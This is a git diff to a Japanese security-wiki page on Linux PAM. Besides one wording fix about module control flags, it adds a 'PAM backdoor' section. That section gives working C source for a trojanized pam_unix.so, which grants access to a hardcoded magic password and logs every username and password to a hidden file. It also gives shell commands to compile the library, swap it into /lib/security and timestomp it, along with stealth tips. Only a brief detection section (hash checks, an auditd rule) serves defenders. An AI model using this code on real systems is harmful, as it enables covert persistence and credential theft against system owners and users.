- **Required**: 必須モジュールの失敗は最終的な失敗を引き起こしますが、すべての後続モジュールがチェックされた後にのみ発生します。
|
||||
- **Requisite**: 失敗時にプロセスを即座に終了します。
|
||||
@ -44,10 +44,65 @@ session required /lib/security/pam_unix_session.so
|
||||
|
||||
#### 例のシナリオ
|
||||
|
||||
複数のauthモジュールを持つセットアップでは、プロセスは厳格な順序に従います。`pam_securetty`モジュールがログイン端末を無許可と見なすと、rootログインはブロックされますが、その「required」ステータスのためにすべてのモジュールは依然として処理されます。`pam_env`は環境変数を設定し、ユーザーエクスペリエンスを向上させる可能性があります。`pam_ldap`と`pam_unix`モジュールは協力してユーザーを認証し、`pam_unix`は以前に提供されたパスワードを使用しようとし、認証方法の効率と柔軟性を高めます。
|
||||
複数のauthモジュールを持つセットアップでは、プロセスは厳格な順序に従います。`pam_securetty`モジュールがログイン端末を無許可と見なすと、rootログインはブロックされますが、その「required」ステータスのためにすべてのモジュールは処理され続けます。`pam_env`は環境変数を設定し、ユーザーエクスペリエンスを向上させる可能性があります。`pam_ldap`と`pam_unix`モジュールは協力してユーザーを認証し、`pam_unix`は以前に提供されたパスワードを使用しようとし、認証方法の効率と柔軟性を高めます。
|
||||
|
||||
### 参考文献
|
||||
## PAMのバックドア – `pam_unix.so`のフック
|
||||
|
||||
高価値のLinux環境における古典的な持続性トリックは、**正当なPAMライブラリをトロイの木馬化されたドロップインと入れ替える**ことです。すべてのSSH / コンソールログインは`pam_unix.so:pam_sm_authenticate()`を呼び出すため、数行のCコードで資格情報をキャプチャしたり、*マジック*パスワードバイパスを実装したりするのに十分です。
|
||||
|
||||
### コンパイルチートシート
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <security/pam_modules.h>
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static int (*orig)(pam_handle_t *, int, int, const char **);
|
||||
static const char *MAGIC = "Sup3rS3cret!";
|
||||
|
||||
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||
const char *user, *pass;
|
||||
pam_get_user(pamh, &user, NULL);
|
||||
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
|
||||
|
||||
/* Magic pwd → immediate success */
|
||||
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
|
||||
|
||||
/* Credential harvesting */
|
||||
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
|
||||
dprintf(fd, "%s:%s\n", user, pass);
|
||||
close(fd);
|
||||
|
||||
/* Fall back to original function */
|
||||
if(!orig) {
|
||||
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
|
||||
}
|
||||
return orig(pamh, flags, argc, argv);
|
||||
}
|
||||
```
|
||||
コンパイルとステルス置換:
|
||||
```bash
|
||||
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
|
||||
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
|
||||
mv pam_unix.so /lib/security/pam_unix.so
|
||||
chmod 644 /lib/security/pam_unix.so # keep original perms
|
||||
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
```
|
||||
### OpSec Tips
|
||||
1. **Atomic overwrite** – 一時ファイルに書き込み、`mv`で配置することで、SSHをロックアウトする半書き込みライブラリを避ける。
|
||||
2. `/usr/bin/.dbus.log`のようなログファイルの配置は、正当なデスクトップアーティファクトと混ざる。
|
||||
3. PAMの誤動作を避けるために、シンボルエクスポートを同一に保つ(`pam_sm_setcred`など)。
|
||||
|
||||
### Detection
|
||||
* `pam_unix.so`のMD5/SHA256をディストリビューションパッケージと比較する。
|
||||
* `/lib/security/`の下で、全ユーザー書き込み可能または異常な所有権をチェックする。
|
||||
* `auditd`ルール: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`。
|
||||
|
||||
### References
|
||||
|
||||
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user